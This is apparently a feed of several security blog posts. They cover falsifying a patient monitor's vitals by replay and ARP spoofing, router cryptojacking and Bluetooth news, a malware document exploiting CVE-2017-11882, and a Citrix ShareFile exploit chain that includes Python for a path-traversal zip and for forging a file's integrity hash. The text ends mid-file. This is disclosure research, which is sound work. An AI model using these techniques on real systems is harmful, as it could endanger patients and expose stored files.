Most patient monitoring systems comprise at minimum of two basic components: a bedside monitor and a central monitoring station. These devices are wired or wirelessly networked over TCP/IP. The central monitoring station collects vitals from multiple bedside monitors so that a single medical professional can observe multiple patients.

With the help of eBay, we purchased both a patient monitor and a compatible central monitoring station at a reasonable cost. The patient monitor monitored heartbeat, oxygen level, and blood pressure. It has both wired and wireless networking and appeared to store patient information. The central monitoring station ran Windows XP Embedded, with two Ethernet ports, and ran in a limited kiosk mode at start-up. Both units were produced around 2004; several local hospitals confirmed that these models are still in use.

The two devices offer a range of potential attack surfaces. The central monitoring station operates fundamentally like a desktop computer running Windows XP, which has been extensively researched by the security community. The application running on the central monitoring station is old; if we found a vulnerability, it would likely be tied to the legacy operating system. The patient monitor’s firmware could be evaluated for vulnerabilities; however, this would affect only one of the two devices in the system and is the hardest vector to exploit. This leaves the communication between the two devices as the most interesting attack vector since if the communication could be compromised, an attack could possibly be device independent, affecting both devices by a remote attack. Given this possibility, we chose networking as the first target for this research. Dr. Nordeck confirmed that if the information passing to the central monitoring system could be modified in real time, this would be a meaningful and valid concern to medical professionals. Thus the primary question of our research became “Is it possible in real time to modify a patient’s vitals being transmitted over the network?”

Setup

When performing a vulnerability assessment of any device, it is best to first operate the device as originally designed. Tracking vital signs is the essence of the patient monitor, so we looked for a way to accurately simulate those signs for testing. Many hardware simulators are on the market and vary drastically in cost. The cheapest and easiest vital sign to simulate turned out to be a heartbeat. For less than $100 we purchased an electrocardiogram (ECG) simulator on eBay. The following image illustrates our test network:

In our test bed, the patient monitor (left), central monitoring station (right), and a research computer (top) were attached to a standard switch. The research computer was configured on a monitor port of the switch to sniff the traffic between the central monitoring device and the patient monitor. The ECG simulator was attached to the patient monitor.

Reconnaissance

With the network configured, we turned to Wireshark to watch the devices in action. The first test was to boot only the central monitor station and observe any network traffic.

In the preceding screenshot a few basic observations stand out. First, we can see that the central station is sending User Datagram Protocol (UDP) broadcast packets every 10 seconds with a source and destination port of 7000. We can also see clear-text ASCII in the payload, which provides the device name. After collecting and observing these packets for several minutes, we can assume this is standard behavior. Because the central station is running on a Window XP embedded machine, we can attempt to verify this information by doing some quick reverse engineering of the binaries used by the application. After putting several libraries into Interactive Disassembler Pro, it is apparent that the symbols and debugging information has been left behind. With a little cleanup and work from the decompilers, we see the following code:

This loop calls a function that broadcasts Rwhat, a protocol used by some medical devices. We also can see a function called to get the amount of time to wait between packets, with the result plugged into the Windows sleep function. This code block confirms what we saw with Wireshark and gives us confidence the communication is consistent.

Having gained basic knowledge of the central monitoring station, the next step was to perform the same test on the patient monitor. With the central station powered down, we booted the patient monitor and watched the network traffic using Wireshark.

We can make similar observations about the patient monitor’s broadcast packets, including the 10-second time delay and patient data in plaintext. In these packets we see that the source port is incrementing but the destination port, 7000, is the same as the central monitoring station’s.  After reviewing many of these packets, we find that offset 0x34 of the payload has a counter that increments by 0xA, or 10, with each packet. Without potentially damaging the patient monitor, there is no good way to extract the firmware to review its code. However, the central monitoring station must have code to receive these packets. With a bit of digging through the central station’s binaries, we found the section parsing the broadcast packets from the patient monitor.

The first line of code parses the payload of the packet plus 12 bytes. If we count in 12 bytes from the payload on the Wireshark capture, we can see the start of the patient data in clear text. The next function called is parse_logical_name, whose second parameter is an upper limit for the string being passed. This field has a maximum length of 0x20, or 32, bytes. The subsequent code handles whether this information is empty and stores the data in the format logical_name. This review again helps confirm what we see in real time with Wireshark.

Now that we understand the devices’ separate network traffic, we can look at how they interact. Using our network setup and starting the ECG simulator we can see the central monitor station and the patient monitor come to life.

With everything working, we again use Wireshark to examine the traffic. We find a new set of packets.

In the preceding screen capture we see the patient monitor at IP address 126.4.153.150 is sending the same-size data packets to the central monitoring station at address 126.1.1.1. The source port does not change.

Through these basic tests we learn a great deal:

  • The two devices are speaking over unencrypted UDP
  • The payload contains counters and patient information
  • The broadcast address does not require the devices to know each other’s address beforehand
  • When the data is sent distinct packets contain the waveform

Attacking the protocol

Our reconnaissance tells us we may have the right conditions for a replay attack. Such an attack would not satisfy our goal of modifying data in real time across the network; however, it would provide more insight about the requirements and may prove useful in reaching our goal.

After capturing the packets from the simulated heartbeat, we attempted to replay the captures using Python’s Scapy library. We did this with the patient monitor turned off and the central monitoring station listening for information. After several attempts, this test was unsuccessful. This failure shows the system expects more than just a device sending data packets to a specific IP address.

We examined more closely the packets that are sent before the data packets. We learned that even though the packets are sent with UDP, some sort of handshake is performed between the two devices. The next diagram describes this handshake. 

 

In this fanciful dialog, CMS is the central monitoring system; PM is the patient monitor.

To understand what is happening during the handshake, we can relate each phase of this handshake to that of a TCP three-way handshake. (This is only an analogy; the device is not actually performing a TCP three-way handshake.)

The central monitoring station first sends a packet to port 2000 to the patient monitor. This can be considered the “SYN” packet. The patient monitor responds to the central station; notice it responds to the source port of the initial request. This can be considered the “SYN,ACK.” The central station sends the final “ACK,” essentially completing a three-way (or three-step) handshake. Directly following this step, the patient monitor sends another packet to the initial port of the “SYN” packet. The central monitor responds to the patient monitor on port 2000 with a new source port. Immediately following, we see the data packets being sent to the new source port, 3627, named in the previous exchange.

This exam provides insight into why the replay attack did not work. The central station defines for each connection which ports will be open for the incoming data; we need to consider this when attempting a replay attack. Modifying our previous Scapy scripts to account for the handshake, we retested the replay attack. With the new handshake code in place, the test still failed. Taking another look at the “SYN,ACK” packets provides a potential reason for the failure.

At offset 0x3D is a counter that needs to be incremented each time one of these packets is sent. In this case the patient monitor’s source IP address is embedded in the payload at offsets 0x2A and 0x30. This embedded IP address is not as important for this attack because during the replay our scripts can become the patient monitor’s IP; however, this will become more important later. The newly discovered counter needs to be accounted for and incremented.

Emulating a patient monitor

By taking these new findings into account our replay attack becomes successful. If we can observe a certain ECG pattern, we can play it back to the central monitoring station without the patient monitor on the network. Thus we can emulate the function of the patient monitor with any device. The following video demonstrates this emulation using a Raspberry Pi. We set our Scapy scripts to load after booting the Pi, which mimics the idle function of the patient monitor. When the central monitor requests information about the patient’s vitals, the Pi provides the station with an 80-beats-per-minute wave form. This also works with the other vital signs.

Impact of emulation

Although we have not yet reached our goal of real-time modification, we must consider the implications of this type of attack. If someone were to unplug the monitor of a stable patient and replace it with a device that continued to report the same stable vitals, would that cause any harm? Probably not immediately. But what if the stable patient suddenly became unstable? The central station would normally sound an alarm to alert medical personal, who could take appropriate action. However, if the monitor had been replaced, would anyone know help was needed? The patient monitor also normally sounds alarms that might be heard in and outside of the patient’s room, yet if the monitor was replaced, those alarms would be absent.

In hospitals, nurses and other personal generally make periodic checks even of stable patients. So any deception might not last long, but it might not need to. What if someone were trying to kidnap a patient? A kidnapper would alert fewer people than would be expected.

Switching from a real patient monitor to an emulator would cause a short loss in communication from the patient’s room to the central monitoring station. Is this enough to make the scenario unrealistic or not a threat? We asked Dr. Nordeck if a short loss in connection could be part of a reasonable scenario. “A momentary disconnection of the ECG would likely go unnoticed as this happens often due to patient movement or changing clothes and, as long as it is reconnected, will be unlikely to cause an alert,” he said.

Modifying vitals in real time

Although emulating the patient monitor is interesting, it did not accomplish our goal of making real-time modifications. Using what we learned while testing emulation, could we perform real-time injection? To answer this question, we must first understand the difference between emulation and real-time injection.

Emulation requires a deeper understanding of how the initial connection, the handshake, between the two devices occurred. When considering real-time modification, this handshake has already taken place. But an attacker would not know which port the data packets are being sent too, nor any of the other ports used in the data stream. Plus, because the real patient monitor is still online, it will constantly send data to the central monitoring station.

One way to account for these factors is to use Address Resolution Protocol (ARP) spoofing. If the patient monitor is ARP spoofed, then the attacker, instead of the central monitoring station, would receive the data packets. This step would allow the attacker to determine which ports are in use and stop the patient monitor’s data from getting to the central monitoring station. Because we have already shown that emulation works, the attacker simply has to send replacement data to the central station while appearing as the patient monitor.

For example, consider the following original packet coming from the patient monitor:

The patient monitor sends a packet with the patient’s heartbeat stored at offset 0x71 in the payload. The patient monitor in this screen capture is at IP address 126.4.153.150. An attacker can ARP spoof the patient monitor with a Kali virtual machine.

The ARP packets indicate that the central station, IP address 126.1.1.1, is at MAC address 00:0c:29:a1:6e:bf, which is actually the Kali virtual machine. Wireshark recognizes two MACs with the same IP address assigned and highlights them, showing the ARP spoof.

Next the attacker from the virtual machine at address 126.4.153.153 sends false information to the central monitoring station, still at address 126.1.1.1. In this example, offset 0x71 has been changed to 0x78, or 120. (The attacker could choose any value; the following demo videos use the heartbeat value 180 because it is more alarming.) Also notice the IP address stored in the payload, which we discovered during the reconnaissance phase. It still indicates this data is coming from the original patient monitor address, which is different from the IP address on the packet’s IP header. Due to this implementation, there is no need for the attacker to spoof their IP address for the attack to be successful.

Two videos show this modification happening in real time:

 

Impact of real-time modification

Although the monitor in the patient’s room is not directly affected, real-time modification is impactful because medical professionals use these central stations to make critical decisions on a large number of patients—instead of visiting each room individually. As long as the changes are believable, they will not always be verified.

Dr. Nordeck explains the impact of this attack: “Fictitious cardiac rhythms, even intermittent, could lead to extended hospitalization, additional testing, and side effects from medications prescribed to control heart rhythm and/or prevent clots. The hospital could also suffer resource consumption.” Dr. Nordeck explained that short changes to a heartbeat would generally trigger the nurse or technician monitoring the central station to page a doctor. The doctor would typically ask for a printout from the central station to review the rhythm. The doctor might also order an additional test, such as an EKG, to verify the rhythm. An EKG, however, would not likely capture an abnormal rhythm if it is intermittent, but the test might reveal an underlying cause for intermittent arrythmia. Should the rhythm recur intermittently throughout the day, the doctor might make treatment decisions based on this erroneous printout.

The American Heart Association and American College of Cardiology publish guidelines that hospitals are to follow, including for “intermittent cardiac rhythms,” seen in this chart:

A decision tree for treating an intermittent heart rate. Source: American Heart Association.

The first decision point in this tree asks if the patient is hemodynamically stable (whether the blood pressure is normal). This attack does not affect the bedside monitor. A nurse might retake the patient’s blood pressure, which would be normal. The next decision point following the “Yes” path is a diagnosis of focal atrial tachycardia. Regardless of the medical terms and answers, the patient is issued medication. In the case of a network attack, this is medication the patient does not need and could cause harm.

Conclusion

This research from McAfee’s Advanced Threat Research team shows it is possible to emulate and modify a patient’s vital signs in real time on a medical network using a patient monitor and central monitoring station. For this attack to be viable, an attacker would need to be on the same network as the devices and have knowledge of the networking protocol. Any modifications made to patient data would need to be believable to medical professionals for there to be any impact.

During our research we did not modify the patient monitor, which always showed the true data; but we have proven the impact of an attack can be meaningful. Such an attack could result in patients receiving the wrong medications, additional testing, and extended hospital stays—any of which could incur unnecessary expenses.

Both product vendors and medical facilities can take measures to drastically reduce the threat of this type of attack. Vendors can encrypt network traffic between the devices and add authentication. These two steps would drastically increase the difficulty of this type of attack. Vendors also typically recommend that medical equipment is run on a completely isolated network with very strict network-access controls. If medical facilities follow these recommendations, attackers would require physical access to the network, greatly helping to reduce the attack surface.

One goal of the McAfee Advanced Threat Research team is to identify and illuminate a broad spectrum of threats in today’s complex and constantly evolving landscape. Through responsible disclosure we aim to assist and encourage the industry toward a more comprehensive security posture. As part of our policy, we reported this research to the vendor whose products we tested and will continue to work with other vendors to help secure their products.

The post 80 to 0 in Under 5 Seconds: Falsifying a Medical Patient’s Vitals appeared first on McAfee Blogs.

Cryptojacking Campaign Caught Targeting Over 200,000 MikroTik Routers

Our routers are our connection to the internet, allowing us to use our devices to access websites at our leisure. And because of this, routers are often a target for hackers. In fact, just this week, it was uncovered that MikroTik is the latest router manufacturer under siege, as researchers have discovered a massive Coinhive cryptojacking campaign that’s targeting MikroTik routers.

The attack first finds its footing by taking advantage of a vulnerability within MikroTik routers. Once it leverages the flaw, the attack changes the devices’ configuration to inject Coinhive cryptocurrency mining malware into users’ web traffic. For context, Coinhive is a cryptocurrency mining service. Set up as a legitimate service, Coinhive is unfortunately often used by cybercriminals to hack websites and cryptojack users, aka steal the processing power of their devices to mine for cryptocurrency without their consent.

Which is precisely what’s happening to over 200,000 MikroTik customers, largely in Latin America. However, the attack has the potential to start spreading all over the world, given there are 1.7 million MikroTik routers all over.

Now, the next question is – what can these MikroTik users do to protect themselves from this attack? Start by following these proactive security tips:

  • Update your router’s firmware. MikroTik actually patched this vulnerability back in April, but that doesn’t necessarily mean that users applied the required patch. Therefore, this attack is a reminder of just how important it is to regularly update your router’s firmware, as these fixes are typically included within each update.
  • Check online notices. When made aware of vulnerabilities, manufacturers will notify the public, as well as make them aware of incoming fixes. Therefore, scan technical service bulletins or notices on a company site so that if a vulnerability does pop up with your router, you can learn what to do to help your device stay secure.
  • Secure your home’s internet at the source. Your home router allows your entire family to connect to the internet. If it’s vulnerable, your internet activity can be compromised as a result – just like with this MikroTik attack. So, be sure to use a router with built-in security like McAfee Secure Home Platform, which provides protection against threats at the router-level.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Cryptojacking Campaign Caught Targeting Over 200,000 MikroTik Routers appeared first on McAfee Blogs.

Millions of iOS and Android Users Could Be Compromised by Bluetooth Bug

Similar to smartphones and computers, Bluetooth is one of the modern-day pieces of tech that has spread wide and far. Billions of devices of all types around the world have the technology woven into their build. So when news about the BlueBorne vulnerabilities broke back in late 2017, everyone’s ears perked up. Fast forward to present day and a new Bluetooth flaw has emerged, which affects devices containing Bluetooth from a range of vendors—including Apple, Intel, Google, Broadcom, and Qualcomm.

Whether it’s connecting your phone to a speaker so you can blast your favorite tunes, or pairing it with your car’s audio system so you can make phone calls hands-free, the pairing capabilities of Bluetooth ensures the technology remains wireless. And this bug affects precisely that — Bluetooth’s Secure Simple Pairing and Low Energy Secure Connections, which are capabilities within the tech designed to assist users with pairing devices in a safe and secure way.

Essentially, this vulnerability means that when data is sent from device to device over Bluetooth connections, it is not encrypted, and therefore vulnerable. And with this flaw affecting Apple, Google and Intel-based smartphones and PCs, that means millions of people may have their private data leaked. Specifically, the bug allows an attacker that’s within about 30 meters of a user to capture and decrypt data shared between Bluetooth-paired devices.

Lior Neumann, one of the researchers who found the bug, stated, “As far as we know, every Android—prior to the patch published in June—and every device with a wireless chip from Intel, Qualcomm or Broadcom is vulnerable.” That includes iPhone devices with a Broadcom or Qualcomm chip as well.

Fortunately, fixes for this bug within Apple devices have already been available since May with the release of iOS 11.4. Additionally, two Android vendors, Huawei and LG, say they have patched the vulnerability as well. However, if you don’t see your vendor on this list, or if you have yet to apply the patches – what next steps should you take to secure your devices? Start by following these tips:

  • Turn Bluetooth off unless you have to use it. Affected software providers have been notified of these vulnerabilities and are working on fixing them as we speak. But in the meantime, it’s crucial you turn off your Bluetooth unless you absolutely must use it. To do this on iOS devices, simply go to your “Settings”, select “Bluetooth” and toggle it from on to off. On Android devices, open the “Settings” app and the app will display a “Bluetooth” toggle button under the “Wireless and networks” subheading that you can use to enable and disable the feature.
  • Update your software immediately. It’s an important security rule of thumb: always update your software whenever an update is available, as security patches are usually included with each new version. Patches for iOS and some Android manufacturers are already available, but if your device isn’t on the list, fear not – security patches for additional providers are likely on their way.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Millions of iOS and Android Users Could Be Compromised by Bluetooth Bug appeared first on McAfee Blogs.

Evading Static Analyzers by Solving the Equation (Editor)

Introduction

As part of our efforts to self-evaluate our backend systems, we closely monitor the behavioral reports produced by our dynamic analysis system. Every detection is, in fact, cross-checked and correlated with several other pieces of information, including the output from a number of static analyzers.

A few weeks ago a small anomaly started to creep in when analyzing malicious documents: executions spawning a rogue Equation Editor process (often linked to arbitrary code executions) were no longer triggering our internal static analyzers. It was as if the malicious documents were leveraging a new CVE, possibly just added to a well-maintained document exploit builder (for instance like the old Phantom exploit builder kit, or the Metasploit framework).

One of the malicious documents (sha1: cf63479cefc4984309e97ed71e34a078cbf21d6a) was obfuscated but the process snapshot was still clearly showing the exploitation of the same buffer overflow used by CVE-2017-11882. However, the header of the OLE object (as extracted by rtfobj) was clearly different.

Figure 1: Comparison between the OLE header of a document exploiting CVE-2017-11882

Figure 1: Comparison between the OLE header of a document exploiting CVE-2017-11882 and cf63479cefc4984309e97ed71e34a078cbf21d6a.

This quickly explained why the static analyzer didn’t assert detection of the known CVE: any string that is often used to detect CVE-2017-11882 relies on either the class name or some other byte sequence that, as shown in Figure 1, is now clearly missing. At this point, we decided to analyze the document in more detail.

OLE Object Analysis

The OLE object (as extracted by RTFScan and viewed by SS viewer) clearly shows that even its stream type is somewhat generic (normally an Equation Editor OLE object contains an
EquationNative
stream as further explained here). Instead, the OLE stream is parsed as a more obscure  Ole10Native (see Figure 2).

Figure 2: An OLE object featuring an Ole10Native stream.

Figure 2: An OLE object featuring an Ole10Native stream.

There are two interesting things happening here: (i) Equation Editor is still invoked to process the OLE object regardless of the OLE format, and (ii) Equation Editor is able to parse this new and generic format. As we show in Figure 3, the first is achieved because the CLSID is also specified inside the OLE object itself (the reader can find a nice walk through on how this is done here).

Figure 3: OLE includes the CLSID {0002CE02-0000-0000-C000-000000000046} of Equation Editor.

Figure 3: OLE includes the CLSID {0002CE02-0000-0000-C000-000000000046} of Equation Editor.

As for the stream itself, its type is not something we see every day. Equation Editor, on the other hand, seems to know this format quite well, and in fact it parses the object without raising any issue: it selectively reads and tests specific bytes (the first and third byte of the MTEF header and the first two of the TYPESIZE header), and if some specific values are found (as shown in Figure 4), Equation Editor is finally convinced to parse the FONT record as well, triggering once again the same buffer overflow that is normally exploited in CVE-2017-11882.

Figure 4: The layout of the OLE object after reversing the Equation Editor parsing functions. See Table 2 in the Appendix for more details related to the structure of the header.

Figure 4: The layout of the OLE object after reversing the Equation Editor parsing functions. See Table 2 in the Appendix for more details related to the structure of the header.

Shellcode Analysis

The vulnerability exploited to execute the shellcode is indeed CVE-2017-11882; as soon as the FONT record is parsed, the control flow is transferred to 0x445203.

font record

At this address, a RET instruction will be executed to transfer control to the shellcode stored in a buffer located in lieu of the FONT record (this exact method of executing a shellcode is also used by CVE-2017-0802 and further explained here):

Figure 5: Shellcode stored as FONT name inside the FONT record.

Figure 5: Shellcode stored as FONT name inside the FONT record.

The shellcode also is using an interesting way to find itself in memory. Unlike other malicious documents exploiting CVE-2017-11882, in our case, the sample does not rely on the
WinExecute
API to divert execution. Rather, it searches the OLE stream itself to locate the entry point of the shellcode. To succeed, it needs the following three hardcoded values:

  • Address 0x0045BD3C: this address references an object that contains a pointer to another temporary structure (see Table 3 in Appendix for more details). This temporary structure points to the beginning Ole10Native stream as loaded in memory.
  • Address 0x004667B0: this address points to the imported function GlobalLock.
  • 0x11F: the entry point in the shellcode from where it will start executing.

These three values are then used as follows:

  1. First, the shellcode retrieves the handle of the memory object from 0x0045BD3C.
  2. Then the handle so retrieved is passed as parameter and used to invoke the GlobalLock API.
  3. The pointer returned references the first byte of the OLE stream in memory. The shellcode now knows where it is residing in the memory and starts executing from StartOfShellcode+0x11F.

The sample goes on by downloading a file from hxxp://b.reich[.]io/hnepyp.scr, saving it on disk as name.exe, and executing it. In this report, we omit the analysis of this specific binary, as it is yet another pony variant. Were the reader interested, VirusTotal has a full report here (sha1: 2bcd81a9f077ff3500de9a80b469d34a53d51f4a); all IOCs are also listed in the Appendix, Table 1.

Why Static Analysis is not Enough

While in some cases static analysis can detect if a specific vulnerability is exploited, obfuscated samples often present quite a challenge even for the most sophisticated analyzer. In our case, a simple pattern match is not even possible: the only bits of information we can use to write a detection rule is the CLSID and the 5 bytes that are constant in the MathType OLE object (the OLE object used by Equation Editor).

A hypothetical static checker would need to:

  1. Extract the OLE object from the document
  2. Parse the OLE header and check if it is pointing to the Equation Editor CLSID
  3. Extract the Ole10Native stream
  4. Parse it and get the FONT record
  5. Check its actual length
  6. And finally, verify that the last four bytes of the buffer corresponds to an address

This is not a trivial task if done statically, and overall impossible if only pattern matching is available (as it is the case if we are using YARA rules, for example). On the other hand, in Figure 6 we can see the full behavioral analysis when analyzing the sample dynamically.

Figure 6: Analysis overview of the document (sha1: cf63479cefc4984309e97ed71e34a078cbf21d6a).

Figure 6: Analysis overview of the document (sha1: cf63479cefc4984309e97ed71e34a078cbf21d6a).

Conclusions

The sample subject of our analysis did not use any new CVEs, but relied on an unexpected new way to deliver the old and well-known CVE-2017-11882. This particular way of delivering the exploit effectively evaded all static analyzers relying on OLE’s static information. As the exploit author managed to remove (intentionally?) all non-binary strings from the exploit data, he considerably raised the bar for a static analyzer to detect this specific exploit.

Having said that, Microsoft has already issued advisory addressing this specific CVE, so previous mitigations are effective and still apply:

In conclusion, we verified whether MathType v7 (the successor of Equation Editor) was vulnerable to this specific parsing quirk when opening a Ole10Native stream,  but we are glad to report that both mitigations DEP and ASLR are enabled, thereby protecting the binary from the aforementioned vulnerabilities.

Appendix

Indicator Of Compromise Description
cf63479cefc4984309e97ed71e34a078cbf21d6a SHA1 malicious document
2bcd81a9f077ff3500de9a80b469d34a53d51f4a SHA1 loki payload
hxxp://b.reich[.]io/hnepyp.scr URL loki payload

Table 1: IoCs discussed in the blogpost.

Offset Size (bytes) Description Value Comment
0 1 MTEF Version 0x2 Version 2
1 1 Generating Platform 0x8 Garbage
2 1 Generating Product 0x1 1 for Equation Editor
3 1 Product Version 0xB9 Garbage
4 1 Product Subversion 0xC9 Garbage

Table 2: Ole10Native MTEF header.

Offset Size (bytes) Description
0x0 4 Handle to the memory object storing the Ole10Native stream in memory
0x4 4 Size in memory
0x8 4 Size in memory
0x10 4 Index of the byte which will be read next from the stream
0x14 4 Unknown

Table 3: Temporary Structure Format.

The post Evading Static Analyzers by Solving the Equation (Editor) appeared first on Lastline.

Compromising Citrix ShareFile on-premise via 7 chained vulnerabilities

A while ago we investigated a setup of Citrix ShareFile with an on-premise StorageZone controller. ShareFile is a file sync and sharing solution aimed at enterprises. While there are versions of ShareFile that are fully managed in the cloud, Citrix offers a hybrid version where the data is stored on-premise via StorageZone controllers. This blog describes how Fox-IT identified several vulnerabilities, which together allowed any account to (from the internet) access any file stored within ShareFile. Fox-IT disclosed these vulnerabilities to Citrix, which mitigated them via updates to their cloud platform. The vulnerabilities identified were all present in the StorageZone controller component, and thus cloud-only deployments were not affected. According to Citrix, several fortune-500 enterprises and organisations in the government, tech, healthcare, banking and critical infrastructure sectors use ShareFile (either fully in the Cloud or with an on-premise component).

Sharefile

Gaining initial access

After mapping the application surface and the flows, we decided to investigate the upload flow and the connection between the cloud and on-premise components of ShareFile. There are two main ways to upload files to ShareFile: one based on HTML5 and one based on a Java Applet. In the following examples we are using the Java based uploader. All requests are configured to go through Burp, our go-to tool for assessing web applications.
When an upload is initialized, a request is posted to the ShareFile cloud component, which is hosted at name.sharefile.eu (where name is the name of the company using the solution):

Initialize upload

We can see the request contains information about the upload, among which is the filename, the size (in bytes), the tool used to upload (in this case the Java uploader) and whether we want to unzip the upload (more about that later). The response to this request is as follows:

Initialize upload response

In this response we see two different upload URLs. Both use the URL prefix (which is redacted here) that points to the address of the on-premise StorageZone controller. The cloud component thus generates a URL that is used to upload the files to the on-premise component.

The first URL is the ChunkUri, to which the individual chunks are uploaded. When the filetransfer is complete, the FinishUri is used to finalize the upload on the server. In both URLs we see the parameters that we submitted in the request such as the filename, file size, et cetera. It also contains an uploadid which is used to identify the upload. Lastly we see a h= parameter, followed by a base64 encoded hash. This hash is used to verify that the parameters in the URL have not been modified.

The unzip parameter immediately drew our attention. As visible in the screenshot below, the uploader offers the user the option to automatically extract archives (such as .zip files) when they are uploaded.

Extract feature

A common mistake made when extracting zip files is not correctly validating the path in the zip file. By using a relative path it may be possible to traverse to a different directory than intended by the script. This kind of vulnerability is known as a directory traversal or path traversal.

The following python code creates a special zip file called out.zip, which contains two files, one of which has a relative path.

import sys, zipfile
#the name of the zip file to generate
zf = zipfile.ZipFile('out.zip', 'w')
#the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'xxe_oob.xml'
#destination path of the file
zf.write(fname, '../../../../testbestand_fox.tmp')
#random extra file (not required)
#example: dd if=/dev/urandom of=test.file bs=1024 count=600
fname = 'test.file'
zf.write(fname, 'tfile')

When we upload this file to ShareFile, we get the following message:

ERROR: Unhandled exception in upload-threaded-3.aspx - 'Access to the path '\\company.internal\data\testbestand_fox.tmp' is denied.'

This indicates that the StorageZone controller attempted to extract our file to a directory for which we lacked permissions, but that we were able to successfully change the directory to which the file was extracted. This vulnerability can be used to write user controlled files to arbitrary directories, provided the StorageZone controller has privileges to write to those directories. Imagine the default extraction path would be c:\appdata\citrix\sharefile\temp\ and we want to write to c:\appdata\citrix\sharefile\storage\subdirectory\ we can add a file with the name ../storage/subdirectory/filename.txt which will then be written to the target directory. The ../ part indicates that the Operating System should go one directory higher in the directory tree and use the rest of the path from that location.

Vulnerability 1: Path traversal in archive extraction

From arbitrary write to arbitrary read

While the ability to write arbitrary files to locations within the storage directories is a high-risk vulnerability, the impact of this vulnerability depends on how the files on disk are used by the application and if there are sufficient integrity checks on those files. To determine the full impact of being able to write files to the disk we decided to look at the way the StorageZone controller works. There are three main folders in which interesting data is stored:

  • files
  • persistenstorage
  • tokens

The first folder, files, is used to store temporary data related to uploads. Files already uploaded to ShareFile are stored in the persistentstorage directory. Lastly the tokens folder contains data related to tokens which are used to control the downloads of files.

When a new upload was initialized, the URLs contained a parameter called uploadid. As the name already indicates this is the ID assigned to the upload, in this case it is rsu-2351e6ffe2fc462492d0501414479b95. In the files directory, there are folders for each upload matching with this ID.

In each of these folders there is a file called info.txt, which contains information about our upload:

Info.txt

In the info.txt file we see several parameters that we saw previously, such as the uploadid, the file name, the file size (13 bytes), as well as some parameters that are new. At the end, we see a 32 character long uppercase string, which hints at an integrity hash for the data.
We see two other IDs, fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 and fo9252b1-1f49-4024-aec4-6fe0c27ce1e6, which correspond with the file ID for the upload and folder ID to which the file is uploaded respectively.

After trying to figure out for a while what kind of hashing algorithm was used for the integrity check of this file, it turned out that it is a simple md5 hash of the rest of the data in the info.txt file. The twist here is that the data is encoded with UTF-16-LE, which is default for Unicode strings in Windows.

Armed with this knowledge we can write a simple python script which calculates the correct hash over a modified info.txt file and write this back to disk:

import md5
with open('info_modified.txt','r') as infile:
instr = infile.read().strip().split('|')
instr2 = u'|'.join(instr[:-1])
outhash = md5.new(instr2.encode('utf-16-le')).hexdigest().upper()
with open('info_out.txt','w') as outfile:
outfile.write('%s|%s' % (instr2, outhash))

Here we find our second vulnerability: the info.txt file is not verified for integrity using a secret only known by the application, but is only validated with an md5 hash against corruption. This gives an attacker that can write to the storage folders the possibility to alter the upload information.

Vulnerability 2: Integrity of data files (info.txt) not verified

Since our previous vulnerability enabled us to write files to arbitrary locations, we can upload our own info.txt and thus modify the upload information.
It turns out that when uploading data, the file ID fi591ac5-9cd0-4eb7-a5e9-e5e28a7faa90 is used as temporary name for the file. The data that is uploaded is written to this file, and when the upload is finilized this file is added to the users ShareFile account. We are going to attempt another path traversal here. Using the script above, we modify the file ID to a different filename to attempt to extract a test file called secret.txt which we placed in the files directory (one directory above the regular location of the temporary file). The (somewhat redacted) info.txt then becomes:

modified info.txt

When we subsequently post to the upload-threaded-3.aspx page to finalize the upload, we are presented with the following descriptive error:

File size does not match

Apparently, the filesize of the secret.txt file we are trying to extract is 14 bytes instead of 13 as the modified info.txt indicated. We can upload a new info.txt file which does have the correct filesize, and the secret.txt file is succesfully added to our ShareFile account:

File extraction POC

And thus we’ve successfully exploited a second path traversal, which is in the info.txt file.

Vulnerability 3: Path traversal in info.txt data

By now we’ve turned our ability to write arbitrary files to the system into the ability to read arbitrary files, as long as we do know the filename. It should be noted that all the information in the info.txt file can be found by investigating traffic in the web interface, and thus an attacker does not need to have an info.txt file to perform this attack.

Investigating file downloads

So far, we’ve only looked at uploading new files. The downloading of files is also controlled by the ShareFile cloud component, which instructs the StorageZone controller to serve the frequested files. A typical download link looks as follows:

Download URL

Here we see the dt parameter which contains the download token. Additionally there is a h parameter which contains a HMAC of the rest of the URL, to prove to the StorageZone controller that we are authorized to download this file.

The information for the download token is stored in an XML file in the tokens directory. An example file is shown below:

<!--?xml version="1.0" encoding="utf-8"?--><!--?xml version="1.0" encoding="utf-8"?--><?xml version="1.0" encoding="utf-8"?>
<ShareFileDownloadInfo authSignature="866f075b373968fcd2ec057c3a92d4332c8f3060" authTimestamp="636343218053146994">
<DownloadTokenID>dt6bbd1e278a634e1bbde9b94ff8460b24</DownloadTokenID>
<RequestType>single</RequestType>
<BaseUrl>https://redacted.sf-api.eu/</BaseUrl>
<ErrorUrl>https://redacted.sf-api.eu//error.aspx?type=storagecenter-downloadprep</ErrorUrl>
<StorageBasePath>\\s3\sf-eu-1\;</StorageBasePath>
<BatchID>dt6bbd1e278a634e1bbde9b94ff8460b24</BatchID>
<ZipFileName>tfile</ZipFileName>
<UserAgent>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:54.0) Gecko/20100101 Firefox/54.0</UserAgent>
<Metadata>
<Item key="operatingsystem" value="Linux" />
</Metadata>
<IrmEnabled>false</IrmEnabled>
<IrmPolicyServerUrl />
<IrmAccessId />
<IrmAccessKey />
<Items>
<File name="testfile" path="a4ea881a-a4d5-433a-fa44-41acd5ed5a5f\0f\0f\fi0f0f2e_3477_4647_9cdd_e89758c21c37" size="61" id="" />
</Items>
<Log>
<EventID>fif11465-ba81-8b77-7dd9-4256bc375017</EventID>
<UserID>c7add7af-91ac-4331-b48a-0aeed4a58687</UserID>
<OwnerID>c7add7af-91ac-4331-b48a-0aeed4a58687</OwnerID>
<AccountID>a4ea881a-a4d5-433a-fa44-41acd5ed5a5f</AccountID>
<UserEmailAddress>fox-it@redacted</UserEmailAddress>
<Name>tfile</Name>
<FileCount>1</FileCount>
<AdditionalInfo>fif11465-ba81-8b77-7dd9-4256bc375017</AdditionalInfo>
<FolderID>foh160ab-aa5a-4e43-96fd-e41caed36cea</FolderID>
<ParentID>foh160ab-aa5a-4e43-96fd-e41caed36cea</ParentID>
